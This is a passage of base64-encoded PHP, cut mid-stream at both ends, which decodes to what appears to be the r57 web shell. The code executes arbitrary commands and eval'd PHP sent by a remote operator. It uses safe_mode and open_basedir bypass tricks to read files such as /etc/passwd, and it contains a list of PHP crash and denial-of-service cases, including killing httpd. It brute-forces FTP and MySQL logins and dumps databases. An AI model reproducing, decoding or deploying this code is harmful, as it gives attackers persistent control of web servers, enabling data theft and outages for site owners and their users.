sZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCndoaWxlKCgkcm93PUBtc3NxbF9mZXRjaF9yb3coJHJlcykpKQ0Kew0KZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcclxuIjsNCn0NCkBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCn0NCmVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOw0KQG1zc3FsX2Nsb3NlKCRkYik7DQp9DQplbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiOw0KYnJlYWs7DQpjYXNlICd0ZXN0NSc6DQokdGVtcD10ZW1wbmFtKCRkaXIsImZuYW1lIik7DQppZiAoQGZpbGVfZXhpc3RzKCR0ZW1wKSkgQHVubGluaygkdGVtcCk7DQokZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YICR0ZW1wIjsNCkBtYl9zZW5kX21haWwoTlVMTCxOVUxMLE5VTEwsTlVMTCwkZXh0cmEpOw0KJHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCkB1bmxpbmsoJHRlbXApOw0KYnJlYWs7DQpjYXNlICd0ZXN0Nic6DQokc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCIiLCIiKTsNCiRkaXJfbGlzdCA9IEBpbWFwX2xpc3QoJHN0cmVhbSx0cmltKCRfUE9TVFsndGVzdDZfZmlsZSddKSwiKiIpOw0KZm9yICgkaSA9IDA7JGkgPGNvdW50KCRkaXJfbGlzdCk7JGkrKykgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXJfbGlzdFskaV0pLiJcclxuIjsNCkBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KYnJlYWs7DQpjYXNlICd0ZXN0Nyc6DQokc3RyZWFtID0gQGltYXBfb3BlbigkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSwiIiwiIik7DQokc3RyID0gQGltYXBfYm9keSgkc3RyZWFtLDEpOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOw0KQGltYXBfY2xvc2UoJHN0cmVhbSk7DQpicmVhazsNCmNhc2UgJ3Rlc3Q4JzoNCiR0ZW1wPUB0ZW1wbmFtKCRfUE9TVFsndGVzdDhfZmlsZTInXSwiY29weXRlbXAiKTsNCiRzdHIgPSByZWFkemxpYigkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sJHRlbXApOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOw0KQHVubGluaygkdGVtcCk7DQpicmVhazsNCmNhc2UgJ3Rlc3Q5JzoNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJHN0ciA9IG1vcmVyZWFkKCRfUE9TVFsndGVzdDlfZmlsZSddKTsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCmJyZWFrOw0KY2FzZSAndGVzdDEwJzoNCkBvYl9jbGVhbigpOw0KJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsNCmVycm9yX3JlcG9ydGluZyhFX0FMTCBeRV9OT1RJQ0UpOw0KQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwxKTsNCiRzdHI9Zm9wZW4oJF9QT1NUWyd0ZXN0MTBfZmlsZSddLCJyIik7DQp3aGlsZSghZmVvZigkc3RyKSl7cHJpbnQgaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkc3RyKSk7fQ0KZmNsb3NlKCRzdHIpOw0KZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOw0KYnJlYWs7DQpjYXNlICd0ZXN0MTEnOg0KQG9iX2NsZWFuKCk7DQokdGVtcCA9ICd6aXA6Ly8nLiRfUE9TVFsndGVzdDExX2ZpbGUnXTsNCiRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7DQpicmVhazsNCmNhc2UgJ3Rlc3QxMic6DQpAb2JfY2xlYW4oKTsNCiR0ZW1wID0gJ2NvbXByZXNzLmJ6aXAyOi8vJy4kX1BPU1RbJ3Rlc3QxMl9maWxlJ107DQokc3RyID0gbW9yZXJlYWQoJHRlbXApOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOw0KYnJlYWs7DQpjYXNlICd0ZXN0MTMnOg0KQGVycm9yX2xvZygkX1BPU1RbJ3Rlc3QxM19maWxlMSddLDMsInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk7DQplY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOw0KYnJlYWs7DQpjYXNlICd0ZXN0MTQnOg0KQHNlc3Npb25fc2F2ZV9wYXRoKCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10uIlwwOy90bXAiKTsNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MTRfZmlsZTEnXTsNCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQpicmVhazsNCmNhc2UgJ3Rlc3QxNSc6DQpAcmVhZGZpbGUoJF9QT1NUWyd0ZXN0MTVfZmlsZTEnXSwzLCJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pOw0KZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsNCmJyZWFrOw0KY2FzZSAndGVzdDE2JzoNCmlmIChmb3Blbignc3JwYXRoOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vJy4kX1BPU1RbJ3Rlc3QxNl9maWxlJ10sImEiKSkgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsNCmJyZWFrOw0KY2FzZSAndGVzdDE3XzEnOg0KQHVubGluaygnc3ltbGlua3JlYWQnKTsNCkBzeW1saW5rKCdhL2EvYS9hL2EvYS8nLCdkdW1teScpOw0KQHN5bWxpbmsoJ2R1bW15Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTdfZmlsZSddLCdzeW1saW5rcmVhZCcpOw0KQHVubGluaygnZHVtbXknKTsNCndoaWxlICgxKSANCnsNCkBzeW1saW5rKCcuJywnZHVtbXknKTsNCkB1bmxpbmsoJ2R1bW15Jyk7DQp9DQpicmVhazsNCmNhc2UgJ3Rlc3QxN18yJzoNCiRzdHI9Jyc7DQp3aGlsZSAoc3RybGVuKCRzdHIpIDwzKSB7DQokdGVtcCA9ICdzeW1saW5rcmVhZCc7DQokc3RyID0gbW9yZXJlYWQoJHRlbXApOw0KaWYoJHN0cil7QG9iX2NsZWFuKCk7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpO30NCn0NCmJyZWFrOw0KY2FzZSAndGVzdDE3XzMnOg0KJGRpciA9ICRmaWxlcyA9IGFycmF5KCk7DQppZihAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik+PTApew0Kd2hpbGUgKEBjb3VudCgkZGlyKSA8Mykgew0KJGRpcj1Ac2NhbmRpcignc3ltbGlua3JlYWQnKTsNCmlmIChAY291bnQoJGRpcikgPjIpIHtAb2JfY2xlYW4oKTtAcHJpbnRfcigkZGlyKTt9DQp9DQp9DQplbHNlIHsNCndoaWxlIChAY291bnQoJGZpbGVzKSA8Mykgew0KJGRoICA9IEBvcGVuZGlyKCdzeW1saW5rcmVhZCcpOw0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGRoKSkpIHsNCiRmaWxlc1tdID0gJGZpbGVuYW1lOw0KfQ0KaWYoQGNvdW50KCRmaWxlcykgPjIpe0BvYl9jbGVhbigpO0BwcmludF9yKCRmaWxlcyk7fQ0KfQ0KfQ0KYnJlYWs7DQp9DQp9DQppZigoISRzYWZlX21vZGUpICYmKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpICYmKCRfUE9TVFsnY21kJ10hPSJteXNxbF9kdW1wIikgJiYoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikgJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9icnV0ZSIpICYmKCRfUE9TVFsnY21kJ10hPSJkYl9icnV0ZSIpKXsNCiRjbWRfcmVwID0gZXgoJF9QT1NUWydjbWQnXSk7DQppZighJHVuaXgpIHtlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7fQ0KZWxzZSB7ZWNobyBAaHRtbHNwZWNpYWxjaGFycygkY21kX3JlcCkuIlxuIjt9fQ0Kc3dpdGNoKCRfUE9TVFsnY21kJ10pDQp7DQpjYXNlICdkb3MxJzoNCmZ1bmN0aW9uIGEoKSB7YSgpO31hKCk7DQpicmVhazsNCmNhc2UgJ2RvczInOg0KQHBhY2soImQ0Mjk0OTY3Mjk3IiwyKTsNCmJyZWFrOw0KY2FzZSAnZG9zMyc6DQokYSA9ICJhIjtAdW5zZXJpYWxpemUoQHN0cl9yZXBsYWNlKCcxJywyMTQ3NDgzNjQ3LEBzZXJpYWxpemUoJGEpKSk7DQpicmVhazsNCmNhc2UgJ2RvczQnOg0KJHQgPSBhcnJheSgxKTt3aGlsZSAoMSkgeyRhW10gPSAmJHQ7fTsNCmJyZWFrOw0KY2FzZSAnZG9zNSc6DQpAZGwoInNxbGl0ZS5zbyIpOyRkYiA9IG5ldyBTcWxpdGVEYXRhYmFzZSgiZm9vIik7DQpicmVhazsNCmNhc2UgJ2RvczYnOg0KcHJlZ19tYXRjaCgnLyguKD8hYikpKi8nLEBzdHJfcmVwZWF0KCJhIiwxMDAwMCkpOw0KYnJlYWs7DQpjYXNlICdkb3M3JzoNCkBzdHJfcmVwbGFjZSgiQSIsc3RyX3JlcGVhdCgiQiIsNjU1MzUpLHN0cl9yZXBlYXQoIkEiLDY1NTM4KSk7DQpicmVhazsNCmNhc2UgJ2RvczgnOg0KQHNoZWxsX2V4ZWMoImtpbGxhbGwgLTExIGh0dHBkIik7DQpicmVhazsNCmNhc2UgJ2RvczknOg0KZnVuY3Rpb24gY3goKXtAdGVtcG5hbSgiL3d3dy8iLCIuLi8uLi8uLi8uLi8uLi8uLi92YXIvdG1wL2N4Iik7Y3goKTt9Y3goKTsNCmJyZWFrOw0KY2FzZSAnZG9zMTAnOg0KJGEgPSBAc3RyX3JlcGVhdCAoIkEiLDQzODAxMyk7JGIgPSBAc3RyX3JlcGVhdCAoIkIiLDk1MTE0MCk7QHdvcmR3cmFwICgkYSwwLCRiLDApOw0KYnJlYWs7DQpjYXNlICdkb3MxMSc6DQpAYXJyYXlfZmlsbCgxLDEyMzQ1Njc4OSwiSW5maWdvLUlTIik7DQpicmVhazsNCmNhc2UgJ2RvczEyJzoNCkBzdWJzdHJfY29tcGFyZSgiQSIsIkEiLDEyMzQ1Njc4KTsNCmJyZWFrOw0KY2FzZSAnZG9zMTMnOg0KQHVuc2VyaWFsaXplKCJhOjIxNDc0ODM2NDk6eyIpOw0KYnJlYWs7DQpjYXNlICdkb3MxNCc6DQokRGF0YSA9IEBzdHJfaXJlcGxhY2UoIlxuIiwiPGJyPiIsJERhdGEpOw0KYnJlYWs7DQpjYXNlICdkb3MxNSc6DQpmdW5jdGlvbiB0b1VURigkeCkge3JldHVybiBjaHIoKCR4ID4+NikgKzE5MikgLmNocigoJHggJjYzKSArMTI4KTt9DQokc3RyMSA9ICIiO2ZvcigkaT0wOyRpIDw2NDskaSsrKXskc3RyMSAuPSB0b1VURig5NzcpO30NCkBodG1sZW50aXRpZXMoJHN0cjEsRU5UX05PUVVPVEVTLCJVVEYtOCIpOw0KYnJlYWs7DQpjYXNlICdkb3MxNic6DQokciA9IEB6aXBfb3BlbigieC56aXAiKTskZSA9IEB6aXBfcmVhZCgkcik7JHggPSBAemlwX2VudHJ5X29wZW4oJHIsJGUpOw0KZm9yICgkaT0wOyRpPDEwMDA7JGkrKykgJGFyclskaV09YXJyYXkoYXJyYXkoIiIpKTsNCnVuc2V0KCRhcnJbNjAwXSk7QHppcF9lbnRyeV9yZWFkKCRlLC0xKTt1bnNldCgkYXJyWzYwMV0pOw0KYnJlYWs7DQpjYXNlICdkb3MxNyc6DQokeiA9ICJVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVSI7DQokeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7DQokeCA9ICJBUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICI7DQp1bnNldCgkeik7dW5zZXQoJHkpOyR4ID0gYmFzZTY0X2RlY29kZSgkeCk7JHkgPSBAc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCR4KTt1bnNldCgkeCk7DQpicmVhazsNCmNhc2UgJ2RvczE4JzoNCiRNU0dLRVkgPSA1MTkwNTI7JG1zZ19pZCA9IEBtc2dfZ2V0X3F1ZXVlICgkTVNHS0VZLDA2MDApOw0KaWYgKCFAbXNnX3NlbmQgKCRtc2dfaWQsMSwnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLGZhbHNlLHRydWUsJG1zZ19lcnIpKSANCmVjaG8gIk1zZyBub3Qgc2VudCBiZWNhdXNlICRtc2dfZXJyXG4iOw0KaWYgKEBtc2dfcmVjZWl2ZSAoJG1zZ19pZCwxLCRtc2dfdHlwZSwweGZmZmZmZmZmLCRfU0VTU0lPTixmYWxzZSwwLCRtc2dfZXJyb3IpKSB7DQplY2hvICIkbXNnXG4iOw0KfWVsc2Uge2VjaG8gIlJlY2VpdmVkICRtc2dfZXJyb3IgZmV0Y2hpbmcgbWVzc2FnZVxuIjticmVhazt9DQpAbXNnX3JlbW92ZV9xdWV1ZSAoJG1zZ19pZCk7DQpicmVhazsNCmNhc2UgJ2RvczE5JzoNCiR1cmwgPSAicGhwOi8vZmlsdGVyL3JlYWQ9T0ZGX0JZX09ORS4vcmVzb3VyY2U9L2V0Yy9wYXNzd2QiO0Bmb3BlbigkdXJsLCJyIik7DQpicmVhazsNCmNhc2UgJ2RvczIwJzoNCiRoYXNodGFibGUgPSBzdHJfcmVwZWF0KCJBIiwzOSk7DQokaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7DQokaGFzaHRhYmxlWzgqNCswXT1jaHIoMHg2Nik7JGhhc2h0YWJsZVs4KjQrMV09Y2hyKDB4NzcpOyRoYXNodGFibGVbOCo0KzJdPWNocigweDg4KTskaGFzaHRhYmxlWzgqNCszXT1jaHIoMHg5OSk7DQokc3RyID0gJ2E6MTAwMDAwOntzOjg6IkFBQUFCQkJCIjthOjM6e3M6MTI6IjAxMjM0NTY3ODlBQSI7YToxOntzOjEyOiJBQUFBQkJCQkNDQ0MiO2k6MDt9czoxMjoiMDEyMzQ1Njc4QUFBIjtpOjA7czoxMjoiMDEyMzQ1Njc4QkFOIjtpOjA7fSc7DQpmb3IgKCRpPTA7JGk8NjU1MzU7JGkrKykgeyRzdHIgLj0gJ2k6MDtSOjI7Jzt9DQokc3RyIC49ICdzOjM5OiJYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFgiO3M6Mzk6IicuJGhhc2h0YWJsZS4nIjtpOjA7UjozOyc7DQpAdW5zZXJpYWxpemUoJHN0cik7DQpicmVhazsNCn0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhwX2V2YWwiKXsNCiRldmFsID0gQHN0cl9yZXBsYWNlKCI8PyIsIiIsJF9QT1NUWydwaHBfZXZhbCddKTsNCiRldmFsID0gQHN0cl9yZXBsYWNlKCI/PiIsIiIsJGV2YWwpOw0KQGV2YWwoJGV2YWwpO30NCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCnsNCiRzdWMgPSAwOw0KaWYoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpew0KZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQp7DQokY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHtlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO30NCmVsc2UgaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7aWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkge2VjaG8gIlsrXSAkdXNlcjoiLnN0cnJldigkdXNlcikuIiAtIHN1Y2Nlc3NcclxuIjskc3VjKys7fX0NCkBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KfQ0KfWVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJmlzc2V0KCRfUE9TVFsnZnRwX2xvZ2luJ10pKXsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0Kew0KJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCmlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkdXNlcikpIHtlY2hvICJbK10gIi4kX1BPU1RbJ2Z0cF9sb2dpbiddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO30NCkBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KfQ0KfQ0KZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiRjb3VudCA9IGNvdW50KCR1c2Vycyk7DQppZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkgJiYoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpKSB7JGNvdW50ICo9IDI7fQ0KZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTcnXS4kY291bnQuIlxyXG4iOw0KZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTgnXS4kc3VjLiJcclxuIjsNCn0NCmlmICgkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKQ0Kew0KJHN1YyA9IDA7DQppZigkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJyl7DQpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCnsNCiRzcWwgPSBuZXcgbXlfc3FsKCk7DQokc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQokc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQokc3FsLT51c2VyID0gJHVzZXI7DQokc3FsLT5wYXNzID0gJHVzZXI7DQppZigkc3FsLT5jb25uZWN0KCkpIHtlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkNCnsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0Kew0KJHNxbCA9IG5ldyBteV9zcWwoKTsNCiRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQokc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiRzcWwtPnVzZXIgPSAkdXNlcjsNCiRzcWwtPnBhc3MgPSBzdHJyZXYoJHVzZXIpOw0KaWYoJHNxbC0+Y29ubmVjdCgpKSB7ZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyRzdWMrKzt9DQp9DQp9DQp9ZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J2RpYycpICYmaXNzZXQoJF9QT1NUWydteXNxbF9sJ10pKXsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0Kew0KJHNxbCA9IG5ldyBteV9zcWwoKTsNCiRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQokc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiRzcWwtPnBhc3MgPSAkdXNlcjsNCmlmKCRzcWwtPmNvbm5lY3QoKSkge2VjaG8gIlsrXSAiLiRfUE9TVFsnbXlzcWxfbCddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO30NCn0NCn0NCmVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7DQokY291bnQgPSBjb3VudCgkdXNlcnMpOw0KaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pICYmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKSkgeyRjb3VudCAqPSAyO30NCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCmVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7DQp9DQppZiAoJF9QT1NUWydjbWQnXT09Im15c3FsX2R1bXAiKQ0Kew0KaWYoaXNzZXQoJF9QT1NUWydkaWYnXSkpIHskZnAgPSBAZm9wZW4oJF9QT1NUWydkaWZfbmFtZSddLCJ3Iik7fQ0KJHNxbCA9IG5ldyBteV9zcWwoKTsNCiRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQokc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQppZighJHNxbC0+Y29ubmVjdCgpKSB7ZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiO30NCmVsc2UgaWYoISRzcWwtPnNlbGVjdF9kYigpKSB7ZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiO30NCmVsc2UgaWYoISRzcWwtPmR1bXAoJF9QT1NUWydteXNxbF90YmwnXSkpIHtlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjt9DQplbHNlIHsNCmlmKGVtcHR5KCRfUE9TVFsnZGlmJ10pKSB7Zm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjt9DQplbHNlIGlmKCRmcCB8fEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpe2ZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdil7QGZ3cml0ZSgkZnAsJHYuIlxyXG4iKSBvciBAZnB1dHMoJGZwLCR2LiJcclxuIikgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnZGlmX25hbWUnXSwkdi4iXHJcbiIpO319DQplbHNlIHtlY2hvICJbLV0gRVJST1IhIENhbid0IHdyaXRlIGluIGR1bXAgZmlsZSI7fQ0KfQ0KfQ0KZWNobyAiPC90ZXh0YXJlYT48L2Rpdj4iOw0KZWNobyAiPC9iPiI7DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQpmdW5jdGlvbiBkaXZfdGl0bGUoJHRpdGxlLCRpZCkNCnsNCnJldHVybiAnPGEgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIG9uQ2xpY2s9ImNoYW5nZV9kaXZzdChcJycuJGlkLidcJyk7Ij4nLiR0aXRsZS4nPC9hPic7DQp9DQpmdW5jdGlvbiBkaXYoJGlkKQ0Kew0KaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYoJF9DT09LSUVbJGlkXT09MCkpIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOw0KJGRpdmlkPWFycmF5KCdpZDUnLCdpZDYnLCdpZDgnLCdpZDknLCdpZDEwJywnaWQxMScsJ2lkMTYnLCdpZDI0JywnaWQyNScsJ2lkMjYnLCdpZDI3JywnaWQyOCcsJ2lkMjknLCdpZDMzJywnaWQzNCcsJ2lkMzUnLCdpZDM3JywnaWQzOCcpOw0KaWYoZW1wdHkoJF9DT09LSUVbJGlkXSkgJiZAaW5fYXJyYXkoJGlkLCRkaXZpZCkpIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOw0KcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nOw0KfQ0KaWYoISRzYWZlX21vZGUpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDInXSwnaWQxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnY21kJyw4NSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWxzZXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyOCddLCdpZDInKS4kdGFibGVfdXAyLmRpdignaWQyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NhZmVfZGlyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDInXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2VfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZWRpdF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcil7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4